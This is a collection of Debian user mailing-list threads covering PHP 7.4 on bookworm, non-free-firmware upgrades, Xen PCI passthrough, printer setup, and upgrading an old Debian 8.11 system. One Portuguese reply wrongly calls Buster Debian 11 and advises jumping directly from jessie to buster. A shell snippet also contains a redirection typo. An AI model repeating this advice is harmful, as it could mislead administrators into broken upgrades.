Re: php 7.4 and bookworm

2023-06-28 Thread John Covici
Mostly its with apache and the freepbx application which uses a lot of
php applications which were originally installed with php 7.4 and then
Debian upgraded all of them to php 8.2.  I have already changed the
php.default to 7.4 and changed the mods-enabled in apache to php7.4
rather than 8.2.

On Wed, 28 Jun 2023 19:18:45 -0400,
Greg Wooledge wrote:
> 
> On Wed, Jun 28, 2023 at 07:15:05PM -0400, John Covici wrote:
> > OK, so I installed the repo, and got php7.4, but there are still lots
> > of php82 packages installed.  Do I have to install php7.4 equivalents
> > to each package?  Any shorthand way to do the whole lot?
> 
> At this point, you need to reveal how you are using PHP, and which
> packages are installed.  Are you using apache, nginx, or some other
> web server?  Are you using php-fpm, or some kind of "modular" PHP
> specific to a particular web server?  Or something else?
> 

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

 John Covici wb2una
 cov...@ccs.covici.com



Transport endpoint is not connected

2023-06-28 Thread hlyg

my general impression of bookworm for i386 is slow

i suppose support for i386 becomes poor as its user base shrink

even shutdown is slow, i see it painfully show " Transport endpoint is 
not connected"


my usb extension line might cause trouble, it connect to back of pc case 
at one end, at the other end is usb hub, it's handy because it turns one 
usb socket to four sockets, and it works most of time, but sometime it 
can cause trouble, i notice data transfer becomes slow thru it


msg in last line is in red, such thing as device name  has been edited 
for privacy (wlx123), usb wifi adapter is connected to usb hub


Jun 28 20:10:14 debian ifdown[752]: For info, please visit 
https://www.isc.org/software/dhcp/

Jun 28 20:10:14 debian ifdown[752]: Listening on LPF/wlx123...
Jun 28 20:10:14 debian ifdown[752]: Sending on   LPF/wlx123...
Jun 28 20:10:14 debian ifdown[752]: Sending on   Socket/fallback
Jun 28 20:10:14 debian ifdown[752]: DHCPRELEASE of 192.168.43.89 on 
wlx123 to 192.168.43.208 port 67
Jun 28 20:10:14 debian systemd-journald[824]: Failed to send READY=1 
notification message: Transport endpoint is not connected




Re: Debian 12 "bookworm" full upgrade

2023-06-28 Thread bw
Dear Sir or madam,

So, We see you write like a bot. 
So, We think #1 is YES 
So, We say the last question is FOLLOW the release notes on upgrading.
We thank you for the Turing test

>Sirs,
>We are currently running Debian 11 bullseye. 
>We want to perform a full upgrade to Debian 12 aka "bookworm."  I know a set 
>of "instructions" for the install exists but Not for our needs.
>We cannot locate the EXACT, STRAIGHTFORWARD Instructions on HOW to do the 
>procedure that includes the (now, apparently, separate) 
>non-free software.
>So, Question #1 is: Is there a CD/DVD .iso that still contains all non-free 
>software that was previously included in the download folders?
>So, The Last Question Is: How do I perform the Full Upgrade to "bookworm" that 
>INCLUDES the non-free software?
>Thank you for your time & assistance.



Re: Can't access block device?

2023-06-28 Thread paulf
On Wed, 28 Jun 2023 22:28:44 -0400
 wrote:

> Folks:
> 
> I bought a NVMe drive, which I installed in an external holder with a
> USB cable. Plugged it into my computer. In lsblk, it showed up as
> /dev/sdc.
> 
> $ file /dev/sdc
> /dev/sdc: block special (8/32)
> 
> $ sudo fdisk /dev/sdc
> 
> Welcome to fdisk (util-linux 2.38.1).
> Changes will remain in memory only, until you decide to write them.
> Be careful before using the write command.
> 
> fdisk: cannot open /dev/sdc: No such file or directory
> 
> Am I missing something? For what reason would I be unable to access
> this drive? And what's the fix?
> 
> This is Debian 12, if it matters.
> 
> Paul
> 
> 

My mistake. After more testing, it appears that the NVMe wasn't
properly plugged in to the holder. The /dev/sdc was just the holder
itself registering.

Apologies to the list.

Paul



-- 
Paul M. Foster
Personal Blog: http://noferblatz.com
Company Site: http://quillandmouse.com
Software Projects: https://gitlab.com/paulmfoster



Re: Debian 12 "bookworm" full upgrade

2023-06-28 Thread b w
n-reply-to=XiU7aqJHm8EPZSELf5B_eodPqg8yQVS1US81CJSRg_o7YU07_A8R6GHA3ZexhKAuYvB1Yjdu7AzWHUJz5bKAzu6a44i308CGtQ6zDXM_ns8=@protonmail.com

>I know a set of "instructions" for the install exists but Not for our needs.

That is a ridiculous statement.



Can't access block device?

2023-06-28 Thread paulf
Folks:

I bought a NVMe drive, which I installed in an external holder with a
USB cable. Plugged it into my computer. In lsblk, it showed up as
/dev/sdc.

$ file /dev/sdc
/dev/sdc: block special (8/32)

$ sudo fdisk /dev/sdc

Welcome to fdisk (util-linux 2.38.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

fdisk: cannot open /dev/sdc: No such file or directory

Am I missing something? For what reason would I be unable to access
this drive? And what's the fix?

This is Debian 12, if it matters.

Paul


-- 
Paul M. Foster
Personal Blog: http://noferblatz.com
Company Site: http://quillandmouse.com
Software Projects: https://gitlab.com/paulmfoster



Printers disappear

2023-06-28 Thread Van Snyder
I used /usr/bin/system-config-printer to detect and set up my printers.

I want to set up one of the printers to do do both simplex and duplex
printing, so I duplicate it, and change the original settings that the
"find printer" process discovered from simplex to duplex.

After a few days, the copy disappears and I have to set it up again to
print a file duplexed. This is a new phenomenon that started a few
weeks ago, but I haven't updated anything.

I'm using

Operating System: Debian GNU/Linux 10
KDE Plasma Version: 5.14.5
Qt Version: 5.11.3
KDE Frameworks Version: 5.54.0
Kernel Version: 4.19.0-23-amd64
OS Type: 64-bit
Processors: 4 × Intel® Core™ i3 CPU 530 @ 2.93GHz
Memory: 3.7 GiB of RAM

Is this a Debian 10 thing, or a KDE thing?

Is there a way I can make the copy stick around?



Re: Issue with Xen PCI passthrough ("swiotlb buffer is full") after Debian Dom0 kernel update to 5.10.178-3 and later

2023-06-28 Thread Andy Smith
Hi Paul,

On Wed, Jun 28, 2023 at 09:40:52PM +0200, Paul Leiber wrote:
> In the meantime, I have upgraded Dom0 to Debian Bookworm with
> linux-image-amd64 6.1.27-1 and Xen 4.17. The issue persists, seemingly
> unchanged.
> 
> In DomU dmesg, there are several "swiotlb buffer is full" entries while
> failing to load the driver during the boot process:

I don't think you'll get better response here than you will from the
Xen project. You might want to try asking on xen-devel as opposed to
xen-users, though they will expect you to use their upstream source
and maybe build your own kernel as well, while attempting to
diagnose things.

You should be able to build an upstream 4.17.x Xen image (the xen.gz
file that goes into /boot) and boot that without altering anything
else on your system, so that may be useful for testing things out.

I don't do PCI passthrough but I did once have a driver that kept
complaining about "swiotlb buffer is full". At that time Xen devs
told me something like the driver was doing DMA differently because
the dom0 had a low amount of RAM and that if I gave the dom0 4GiB or
more RAM this would force the driver to do DMA in the expected way.
This did fix things for me with that driver.

That would be done with:

GRUB_CMDLINE_XEN="dom0_mem=4096M …"

in /etc/default/grub, but I see that you only have 4G memory total
in this hardware so maybe you could try:

GRUB_CMDLINE_XEN="dom0_mem=1024M,max:4096M …"

and see if that helps at all? (as far as I understand, the ,max: bit
tells the dom0 kernel that it may have that much memory at some
point, without actually allocating it)

If that doesn't help, I am out of ideas, and again recommend
xen-devel.

Cheers,
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting



Re: RFP: deadEarth RPG documentation - free and open RPG game

2023-06-28 Thread Stefan Monnier
Did you mean to send this to debbugs?


Stefan


Joshua Allen [2023-06-28 11:11:58] wrote:

> Package: wnpp
> Severity: wishlist
>
> * Package name: deadearth
>   Version : second edition
>   Upstream Contact:i...@thegamecrafter.com
> * URL 
> :https://web.archive.org/web/20021211104811/http://www.deadearth.com/index.pl/legal
> * License : License GNU Free Documentation License v1.1 or any later 
> version, no invariant sections or front and back text
>   Programming Lang: unknown
>   Description : tabletop rpg game
>
>
>  - deadEarth is a free and open TTRPG game for use in real life or online
>
> - I am aware of other TTRPGs but this looks to be the oldest one I could find 
> and it was released in 2002, since the developer no longer maintains the 
> site, I looked it up on the internet archive.
>
> - Debian doesnt have to be used but, it does qualify for inclusion in the 
> free documentation repositories.
>
>  - how do you plan to maintain it?
> I am just an end user and I am not able to maintain it per say, maybe clean 
> it up since the wording is difficult to see on the url listed above
>
> You would have to probably contact TGC LLC for official clarification, I did 
> months ago but Wikimedia commons needs confirmation from the source.
>
> Still it looks interesting, it probably already is in the repository.



Re: php 7.4 and bookworm

2023-06-28 Thread Greg Wooledge
On Wed, Jun 28, 2023 at 07:15:05PM -0400, John Covici wrote:
> OK, so I installed the repo, and got php7.4, but there are still lots
> of php82 packages installed.  Do I have to install php7.4 equivalents
> to each package?  Any shorthand way to do the whole lot?

At this point, you need to reveal how you are using PHP, and which
packages are installed.  Are you using apache, nginx, or some other
web server?  Are you using php-fpm, or some kind of "modular" PHP
specific to a particular web server?  Or something else?



Re: php 7.4 and bookworm

2023-06-28 Thread John Covici
OK, so I installed the repo, and got php7.4, but there are still lots
of php82 packages installed.  Do I have to install php7.4 equivalents
to each package?  Any shorthand way to do the whole lot?

On Wed, 28 Jun 2023 04:57:42 -0400,
basti wrote:
> 
> Hello,
> 
> you can hold the packages or you can use https://deb.sury.org/
> 
> On 28.06.23 10:46, John Covici wrote:
> > Hi.  So, I want to upgrade to bookworm, but I have an application
> > which needs php 7.4 and I guess they are not yet ready to fix.  So,
> > how can I keep that version, even if its just for that app?
> > 
> > Thanks in advance for any suggestions.
> > 
> 

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

 John Covici wb2una
 cov...@ccs.covici.com



Re: Debian 12 "bookworm" full upgrade

2023-06-28 Thread Charles Curley
On Wed, 28 Jun 2023 17:59:20 -0400
Greg Wooledge  wrote:

> In addition, you change "non-free" to "non-free non-free-firmware".
> This is the new thing for bookworm.

This should do it (mind the wrapping!):

# If this is bookworm, and it hasn't already been done (e.g. by
# preseeding), add non-free-firmware to apt sources.list.
if lsb_release -a 2>1 | grep -i 'Debian GNU/Linux.*bookworm' >> /dev/null ; then
if ! grep non-free-firmware >> /dev/null /etc/apt/sources.list ; then
sed -i.fw -e's/non-free/non-free non-free-firmware/g' 
/etc/apt/sources.list
fi
fi


-- 
Does anybody read signatures any more?

https://charlescurley.com
https://charlescurley.com/blog/



Re: Atualizar Debian 8.11

2023-06-28 Thread Marcelo
Boa noite pessoal,

Felizmente a maquina debian 8, esta virtualizada no XCP-ng, entao consigo
fazer testes variados com ela...

Att,
Marcelo

Em qua., 28 de jun. de 2023 às 19:07, Yuri Musachio 
escreveu:

> "Reinstalar NUNCA!" - Paulo Oliveira 'Kretcheu'
>
> Mas concordo com o amigo que deve se lembrar de fazer um backup antes,
> lógico.
> Mas acho que aqui, o que estamos tratando, é da emoção de se atualizar uma
> máquina antiga, de passar o perrengue de ter que resolver esses problemas
> com a chave... Isso eu acho muito legal.
> Até porque eu mesmo tenho um Wheezy em casa numa máquina de 2005, onde
> boot através de USB nem existe e eu tenho um CD do Wheezy que criei a anos
> atras que é a única forma de instalação dessa minha máquina.
> Ou seja, vale a pena a brincadeira e a dor de cabeça. :)
>
>
>
>
>
>
> Best,
>
> On Jun 28 2023, at 6:58 pm, Linux - Junior Polegato <
> li...@juniorpolegato.com.br> wrote:
>
> Olá!
>
> Minha opinião, grande diferenças entre versões dá muito zica,
> principalmente os arquivos de configuração, então se tiver o /home
> separado em um partição, faz um backup do /etc dentro deste e veja se
> você tem algo em particular /var ou /usr/local, joga dentro do /home. É
> interessante pegar a lista de pacotes instalados ("dpkg -l >
> /home/pacotes"). Se puder fazer um backup de tudo em HD externo ou
> nuvem, melhor ainda.
>
> Inicia uma instalação do zero da versão mais recente, vai de expert e
> formata as outras partições, menos a /home, segue com a instalação até o
> final. Depois de tudo instalado conforme os pacotes que você precisa,
> consulte sua lista de pacotes, faz uma comparação (diff) entre o /etc
> atual e o etc que fez cópia, vai ajustando as configurações dos novos
> serviços e já vai aprendendo parâmetros novos, aos que sofreram
> alteração e tudo o que de mais novo trazem as versões mais novas.
>
> Particularmente seria o caminho que eu escolheria.
>
>
> []'s
>
> Junior Polegato
>
>
>
>
>
> On 6/28/23 12:38, Marcelo wrote:
> > Boa Tarde,
> >
> > Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9
> > e 10 consequentemente.
> >
> > Algum source.lists específico?
> >
> > Agradeço qualquer ajuda...
> >
> >
> > Att,
> > Marcelo
>
> [image: Sent from Mailspring]


Re: Atualizar Debian 8.11

2023-06-28 Thread Yuri Musachio
"Reinstalar NUNCA!" - Paulo Oliveira 'Kretcheu'

Mas concordo com o amigo que deve se lembrar de fazer um backup antes, lógico.
Mas acho que aqui, o que estamos tratando, é da emoção de se atualizar uma 
máquina antiga, de passar o perrengue de ter que resolver esses problemas com a 
chave... Isso eu acho muito legal.
Até porque eu mesmo tenho um Wheezy em casa numa máquina de 2005, onde boot 
através de USB nem existe e eu tenho um CD do Wheezy que criei a anos atras que 
é a única forma de instalação dessa minha máquina.
Ou seja, vale a pena a brincadeira e a dor de cabeça. :)

Best,
On Jun 28 2023, at 6:58 pm, Linux - Junior Polegato 
 wrote:
> Olá!
>
> Minha opinião, grande diferenças entre versões dá muito zica,
> principalmente os arquivos de configuração, então se tiver o /home
> separado em um partição, faz um backup do /etc dentro deste e veja se
> você tem algo em particular /var ou /usr/local, joga dentro do /home. É
> interessante pegar a lista de pacotes instalados ("dpkg -l >
> /home/pacotes"). Se puder fazer um backup de tudo em HD externo ou
> nuvem, melhor ainda.
>
> Inicia uma instalação do zero da versão mais recente, vai de expert e
> formata as outras partições, menos a /home, segue com a instalação até o
> final. Depois de tudo instalado conforme os pacotes que você precisa,
> consulte sua lista de pacotes, faz uma comparação (diff) entre o /etc
> atual e o etc que fez cópia, vai ajustando as configurações dos novos
> serviços e já vai aprendendo parâmetros novos, aos que sofreram
> alteração e tudo o que de mais novo trazem as versões mais novas.
>
> Particularmente seria o caminho que eu escolheria.
>
> []'s
> Junior Polegato
>
>
>
>
> On 6/28/23 12:38, Marcelo wrote:
> > Boa Tarde,
> >
> > Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9
> > e 10 consequentemente.
> >
> > Algum source.lists específico?
> >
> > Agradeço qualquer ajuda...
> >
> >
> > Att,
> > Marcelo
>



Re: Debian 12 "bookworm" full upgrade

2023-06-28 Thread Greg Wooledge
On Wed, Jun 28, 2023 at 09:36:19PM +, Andrew M.A. Cater wrote:
> On Wed, Jun 28, 2023 at 08:16:20PM +, Patriot wrote:
> > We cannot locate the EXACT, STRAIGHTFORWARD Instructions on HOW to do the 
> > procedure that includes the (now, apparently, separate) non-free software.

You're overthinking it.  The upgrade steps for bookworm are very similar
to previous upgrades.  The main difference is that a *second* change is
needed to sources.list.

> > So, The Last Question Is: How do I perform the Full Upgrade to "bookworm" 
> > that INCLUDES the non-free software?
> > 
> 
> Three main steps:
> 1. Bring bullseye fully up to date. Read the release notes
> 2. Change the /etc/apt/sources.list file and apt update ; apt upgrade
> 3. Reboot. apt full-upgrade (or equivalent apt-get commands).

In step 2, you change "bullseye" to "bookworm", which is the standard
change that you make every time.

In addition, you change "non-free" to "non-free non-free-firmware".  This
is the new thing for bookworm.

If the only packages you use from the non-free section are firmware, you
might consider dropping the "non-free" and *only* including the
"non-free-firmware" section.  This is a philosophical decision.



Re: Atualizar Debian 8.11

2023-06-28 Thread Linux - Junior Polegato

Olá!

Minha opinião, grande diferenças entre versões dá muito zica, 
principalmente os arquivos de configuração, então se tiver o /home 
separado em um partição, faz um backup do /etc dentro deste e veja se 
você tem algo em particular /var ou /usr/local, joga dentro do /home. É 
interessante pegar a lista de pacotes instalados ("dpkg -l > 
/home/pacotes"). Se puder fazer um backup de tudo em HD externo ou 
nuvem, melhor ainda.


Inicia uma instalação do zero da versão mais recente, vai de expert e 
formata as outras partições, menos a /home, segue com a instalação até o 
final. Depois de tudo instalado conforme os pacotes que você precisa, 
consulte sua lista de pacotes, faz uma comparação (diff) entre o /etc 
atual e o etc que fez cópia, vai ajustando as configurações dos novos 
serviços e já vai aprendendo parâmetros novos, aos que sofreram 
alteração e tudo o que de mais novo trazem as versões mais novas.


Particularmente seria o caminho que eu escolheria.


[]'s

Junior Polegato





On 6/28/23 12:38, Marcelo wrote:

Boa Tarde,

Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 9 
e 10 consequentemente.


Algum source.lists específico?

Agradeço qualquer ajuda...


Att,
Marcelo




Re: Debian 12 "bookworm" full upgrade

2023-06-28 Thread Andrew M.A. Cater
On Wed, Jun 28, 2023 at 08:16:20PM +, Patriot wrote:
> Sirs,
> We are currently running Debian 11 bullseye.
> We want to perform a full upgrade to Debian 12 aka "bookworm." I know a set 
> of "instructions" for the install exists but Not for our needs.
> We cannot locate the EXACT, STRAIGHTFORWARD Instructions on HOW to do the 
> procedure that includes the (now, apparently, separate) non-free software.
> So, Question #1 is: Is there a CD/DVD .iso that still contains all non-free 
> software that was previously included in the download folders?

Hi,

No, there isn't a DVD that includes all of non-free as such. Some of the
packages conflict with one another.

Read the release notes. The sources.list file has changed to take account
of the changes to non-free-firmware repository. The installation .iso files
now include most of hte non-free-firmware which will assist you to install
Debian.(If you installed 12.0 from nothing, the /etc/apt/sources.list would
be be correct from the beginning)

The changes to the sources.list file are outlined in 
https://wiki.debian.org/SourcesList and in the release notes.

> So, The Last Question Is: How do I perform the Full Upgrade to "bookworm" 
> that INCLUDES the non-free software?
> 

Three main steps:
1. Bring bullseye fully up to date. Read the release notes
2. Change the /etc/apt/sources.list file and apt update ; apt upgrade
3. Reboot. apt full-upgrade (or equivalent apt-get commands).

Hope this helps,

Andrew Cater



> Thank you for your time & assistance.
> 
> Regards,
> SPiggins
> 
> The TRUTH exists, whether you like it, believe it or not.
> 
> “You may choose to look the other way but you can never say again that you 
> did not know.”
> [William Wilberforce](https://en.wikiquote.org/wiki/William_Wilberforce) 
> (August 24, 1759 – July 29, 1833)
> 
> Sent with [Proton Mail](https://proton.me/) secure email.



Re: Debian 11.7 download - official repository

2023-06-28 Thread Andrew M.A. Cater
On Wed, Jun 28, 2023 at 08:14:52PM +, Edwar Saliba Junior wrote:
> Hello!
> I'm looking for Debian version 11.7 on the official website, but I didn't 
> find any link to download this one. 
> Could you tell me the correct URL to download please? 
> 

You could try:

https://cdimage.debian.org/cdimage/archive/11.7.0/amd64/iso-cd/ which should
work. The netinst is possibly all you need.

If you need the DVD, try the iso-dvd directory above 

> In advance, thank you very much!
> 
> Edwar Saliba Júnior

With every good wish, as ever,

Andy Cater



Re: Debian 11.7 download - official repository

2023-06-28 Thread riveravaldez
On 6/28/23, Edwar Saliba Junior  wrote:
> Hello!
> I'm looking for Debian version 11.7 on the official website, but I didn't
> find any link to download this one.
> Could you tell me the correct URL to download please?

Hi!, I hope this two, in order, could be what you're looking for:

Installing Debian 11.7
https://www.debian.org/releases/bullseye/debian-installer/

Debian Mirrors (worldwide)
https://www.debian.org/mirror/list

Kind regards!



Debian 12 "bookworm" full upgrade

2023-06-28 Thread Patriot
Sirs,
We are currently running Debian 11 bullseye.
We want to perform a full upgrade to Debian 12 aka "bookworm." I know a set of 
"instructions" for the install exists but Not for our needs.
We cannot locate the EXACT, STRAIGHTFORWARD Instructions on HOW to do the 
procedure that includes the (now, apparently, separate) non-free software.
So, Question #1 is: Is there a CD/DVD .iso that still contains all non-free 
software that was previously included in the download folders?
So, The Last Question Is: How do I perform the Full Upgrade to "bookworm" that 
INCLUDES the non-free software?

Thank you for your time & assistance.

Regards,
SPiggins

The TRUTH exists, whether you like it, believe it or not.

“You may choose to look the other way but you can never say again that you did 
not know.”
[William Wilberforce](https://en.wikiquote.org/wiki/William_Wilberforce) 
(August 24, 1759 – July 29, 1833)

Sent with [Proton Mail](https://proton.me/) secure email.

Debian 11.7 download - official repository

2023-06-28 Thread Edwar Saliba Junior
Hello!
I'm looking for Debian version 11.7 on the official website, but I didn't find 
any link to download this one. 
Could you tell me the correct URL to download please? 

In advance, thank you very much!

Edwar Saliba Júnior


Re: php 7.4 and bookworm

2023-06-28 Thread Greg Wooledge
On Wed, Jun 28, 2023 at 10:15:14PM +0200, basti wrote:
> if you use mod-php in apache you can use only one php version.
> if you use php-fpm you can run multiple php version at the same time.

Ah, that explains our differing experiences, then.



Re: Atualizar Debian 8.11

2023-06-28 Thread Yuri Musachio
Na real,

Acessa esse link e vê se tu consegue baixar a versão 
"debian-archive-keyring_2017.5~ 
(https://archive.debian.org/debian/pool/main/d/debian-archive-keyring/debian-archive-keyring_2017.5~deb8u1_all.deb)deb8u1_all.deb".
Nisso, com o sources.list apontado pro archive do Debian, tu verifica se ele 
vai chorar por conta da chave.

Best,
On Jun 28 2023, at 4:58 pm, Yuri Musachio  wrote:
> Marcelo,
>
> No site do Debian existe este site: https://wiki.debian.org/LTS/Extended
> Nele é informado sobre as versões do Debian, que são antigas e que não são 
> mais mantidas de maneira oficial, mas que existe uma empresa chamada Freexian 
> que faz esse tipo de serviço.
>
> O passado a passo explicando como criar o sources.list específico para esse 
> tipo de casa se encontra aqui: 
> https://www.freexian.com/lts/extended/docs/how-to-use-extended-lts/
> Se o fato de ter que trocar o sources.list te deixar com o pé atras (por não 
> ser um rep mantido oficialmente pelo projeto), a unica opção que vejo é 
> atualizar direto pra alguma mais recente. A NÃO SER QUE alguém por aqui na 
> list ainda possua algum .deb do "debian-archive-keyring 2017" que talvez 
> pudesse te ajudar nisso.
> Estou pensando alto aqui, mas dessa forma (pra se certificar) você poderia 
> acessar (por exemplo) o tracker daquela versão do keyring que estarão te 
> mandando e confirmar se o SHA é o mesmo da versão oficial que foi buildada 
> pelo próprio Debian. Exemplo: 
> https://tracker.debian.org/news/847872/accepted-debian-archive-keyring-20175deb8u1-source-all-into-oldstable-proposed-updates-oldstable-new-oldstable-proposed-updates/
>
>
>
>
>
>
> Best,
> On Jun 28 2023, at 2:21 pm, Marcelo  wrote:
> > Muito Obrigado pessoal pela resposta,
> >
> > Alterei meu sources.list Debian 8 para:
> >
> > deb http://archive.debian.org/debian/ jessie main contrib non-free
> > deb http://archive.debian.org/debian-security jessie/updates main contrib 
> > non-free
> >
> >
> > e quando rodo o apt-get update, me retorna:
> >
> > W: GPG error: http://archive.debian.org jessie Release: The following 
> > signatures were invalid: KEYEXPIRED 1587841717
> >
> > Olhando rapidamente na internet:
> >
> > If you want all packages from Debian 8
> > Here’s what you should put in /etc/apt/sources.list.d/extended-lts.list:
> >
> > deb http://deb.freexian.com/extended-lts jessie main contrib non-free
> >
> > É seguro usar este caminho? ou existe outra forma?
> >
> >
> > Att,
> > Marcelo
> >
> >
> >
> > Em qua., 28 de jun. de 2023 às 13:23, Gabriel Ricardo  > (mailto:gricard...@gmail.com)> escreveu:
> > > Estou com o Debian desdo 10 e uso a opção 2 do Yuri.
> > >
> > > Faço upgrade para 10, depois 11, depois 12.
> > > Foi "suave" devido ao driver nvidia, mas foi resolvido recompilando ele.
> > >
> > > Att,
> > > Gabriel.
> > >
> > >
> > >
> > > Em qua., 28 de jun. de 2023 às 13:21, luigui  > > (mailto:lucap...@gmail.com)> escreveu:
> > > > Boa tarde Marcelo
> > > >
> > > > Imagino que deseje ir ate o Buster (Debian 11)
> > > > Pode seguir assim:
> > > > Faça login em sua máquina Debian 8.11 como root ou um usuário com 
> > > > privilégios de superusuário.
> > > > Atualize todos os pacotes instalados em seu sistema executando o 
> > > > seguinte comando:
> > > >
> > > >
> > > > apt-get update
> > > > apt-get upgrade
> > > > apt-get dist-upgrade
> > > >
> > > > Isso garantirá que todos os pacotes da versão 8.11 estejam atualizados.
> > > > Verifique se você tem o utilitário apt instalado executando o seguinte 
> > > > comando:
> > > >
> > > >
> > > > apt-get install apt
> > > > Abra o arquivo /etc/apt/sources.list em um editor de texto, como o nano:
> > > > nano /etc/apt/sources.list
> > > > No arquivo sources.list, substitua todas as ocorrências de "jessie" por 
> > > > "buster". Certifique-se de salvar as alterações após a edição.
> > > >
> > > > Execute o seguinte comando para atualizar a lista de pacotes:
> > > >
> > > >
> > > >
> > > > apt-get update
> > > >
> > > > Em seguida, atualize o sistema executando o comando de atualização:
> > > >
> > > > apt-get upgrade
> > > >
> > > > Por fim, execute o comando de dist-upgrade para realizar a atualização 
> > > > para o Debian 11 Buster:
> > > >
> > > > apt-get dist-upgrade
> > > > Durante esse processo, você pode ser solicitado a confirmar algumas 
> > > > alterações. Leia cuidadosamente as mensagens exibidas e responda 
> > > > adequadamente.
> > > >
> > > > Após a conclusão do processo de atualização, reinicie o sistema:
> > > >
> > > >
> > > > reboot
> > > >
> > > > Por fim verifique a documentacao oficial para obter informacoes 
> > > > adicionais
> > > >
> > > > On 28/06/2023 12:38, Marcelo wrote:
> > > > > Boa Tarde,
> > > > >
> > > > > Existe alguma maneira de atualizar um Debian 8.11 atualmente? Para o 
> > > > > 9 e 10 consequentemente.
> > > > >
> > > > > Algum source.lists específico?
> > > > >
> > > > > Agradeço qualquer ajuda...
> > > > >
> > > > >
> > > > > Att,
> > > > > Marcelo
> > > > >
> > > >
> > > 

Re: php 7.4 and bookworm

2023-06-28 Thread basti

https://packages.sury.org/php/README.txt

after add the repo install your needed php7.4-* packages
if you use mod-php in apache you can use only one php version.
if you use php-fpm you can run multiple php version at the same time.
test your app with a phpinfo side.
but that was not the topic

Am 28.06.23 um 22:01 schrieb John Covici:

OK, so php was upgraded from 7.4 to 8.2 -- how to get 7.4 back after
upgrading to bookworm?  How would I use  https://deb.sury.org ?

Thanks.

On Wed, 28 Jun 2023 04:57:42 -0400,
basti wrote:


Hello,

you can hold the packages or you can use https://deb.sury.org/

On 28.06.23 10:46, John Covici wrote:

Hi.  So, I want to upgrade to bookworm, but I have an application
which needs php 7.4 and I guess they are not yet ready to fix.  So,
how can I keep that version, even if its just for that app?

Thanks in advance for any suggestions.









Re: php 7.4 and bookworm

2023-06-28 Thread John Covici
After upgrading to bookworm I get the following error:
odbcinst: SQLInstallDriverEx failed with Unable to find component
name.

What does this mean -- google could not even find this error.

Thanks in advance for any suggestions.

On Wed, 28 Jun 2023 04:57:42 -0400,
basti wrote:
> 
> Hello,
> 
> you can hold the packages or you can use https://deb.sury.org/
> 
> On 28.06.23 10:46, John Covici wrote:
> > Hi.  So, I want to upgrade to bookworm, but I have an application
> > which needs php 7.4 and I guess they are not yet ready to fix.  So,
> > how can I keep that version, even if its just for that app?
> > 
> > Thanks in advance for any suggestions.
> > 
> 

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

 John Covici wb2una
 cov...@ccs.covici.com



Re: php 7.4 and bookworm

2023-06-28 Thread John Covici
OK, so php was upgraded from 7.4 to 8.2 -- how to get 7.4 back after
upgrading to bookworm?  How would I use  https://deb.sury.org ?

Thanks.

On Wed, 28 Jun 2023 04:57:42 -0400,
basti wrote:
> 
> Hello,
> 
> you can hold the packages or you can use https://deb.sury.org/
> 
> On 28.06.23 10:46, John Covici wrote:
> > Hi.  So, I want to upgrade to bookworm, but I have an application
> > which needs php 7.4 and I guess they are not yet ready to fix.  So,
> > how can I keep that version, even if its just for that app?
> > 
> > Thanks in advance for any suggestions.
> > 
> 

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

 John Covici wb2una
 cov...@ccs.covici.com



Re: Atualizar Debian 8.11

2023-06-28 Thread Yuri Musachio
Marcelo,

No site do Debian existe este site: https://wiki.debian.org/LTS/Extended
Nele é informado sobre as versões do Debian, que são antigas e que não são mais 
mantidas de maneira oficial, mas que existe uma empresa chamada Freexian que 
faz esse tipo de serviço.
O passado a passo explicando como criar o sources.list específico para esse 
tipo de casa se encontra aqui: 
https://www.freexian.com/lts/extended/docs/how-to-use-extended-lts/
Se o fato de ter que trocar o sources.list te deixar com o pé atras (por não 
ser um rep mantido oficialmente pelo projeto), a unica opção que vejo é 
atualizar direto pra alguma mais recente. A NÃO SER QUE alguém por aqui na list 
ainda possua algum .deb do "debian-archive-keyring 2017" que talvez pudesse te 
ajudar nisso.
Estou pensando alto aqui, mas dessa forma (pra se certificar) você poderia 
acessar (por exemplo) o tracker daquela versão do keyring que estarão te 
mandando e confirmar se o SHA é o mesmo da versão oficial que foi buildada pelo 
próprio Debian. Exemplo: 
https://tracker.debian.org/news/847872/accepted-debian-archive-keyring-20175deb8u1-source-all-into-oldstable-proposed-updates-oldstable-new-oldstable-proposed-updates/

Best,
On Jun 28 2023, at 2:21 pm, Marcelo  wrote:
> Muito Obrigado pessoal pela resposta,
>
> Alterei meu sources.list Debian 8 para:
>
> deb http://archive.debian.org/debian/ jessie main contrib non-free
> deb http://archive.debian.org/debian-security jessie/updates main contrib 
> non-free
>
>
> e quando rodo o apt-get update, me retorna:
>
> W: GPG error: http://archive.debian.org jessie Release: The following 
> signatures were invalid: KEYEXPIRED 1587841717
>
> Olhando rapidamente na internet:
>
> If you want all packages from Debian 8
> Here’s what you should put in /etc/apt/sources.list.d/extended-lts.list:
>
> deb http://deb.freexian.com/extended-lts jessie main contrib non-free
>
> É seguro usar este caminho? ou existe outra forma?
>
>
> Att,
> Marcelo
>
>
>
> Em qua., 28 de jun. de 2023 às 13:23, Gabriel Ricardo  (mailto:gricard...@gmail.com)> escreveu:
> > Estou com o Debian desdo 10 e uso a opção 2 do Yuri.
> >
> > Faço upgrade para 10, depois 11, depois 12.
> > Foi "suave" devido ao driver nvidia, mas foi resolvido recompilando ele.
> >
> > Att,
> > Gabriel.
> >
> >
> >
> > Em qua., 28 de jun. de 2023 às 13:21, luigui  > (mailto:lucap...@gmail.com)> escreveu:
> > > Boa tarde Marcelo
> > >
> > > Imagino que deseje ir ate o Buster (Debian 11)
> > > Pode seguir assim:
> > > Faça login em sua máquina Debian 8.11 como root ou um usuário com 
> > > privilégios de superusuário.
> > > Atualize todos os pacotes instalados em seu sistema executando o seguinte 
> > > comando:
> > >
> > >
> > > apt-get update
> > > apt-get upgrade
> > > apt-get dist-upgrade
> > >
> > > Isso garantirá que todos os pacotes da versão 8.11 estejam atualizados.
> > > Verifique se você tem o utilitário apt instalado executando o seguinte 
> > > comando:
> > >
> > >
> > > apt-get install apt
> > >
> > > Abra o arquivo /etc/apt/sources.list em um editor de texto, como o nano:
> > >
> > > nano /etc/apt/sources.list
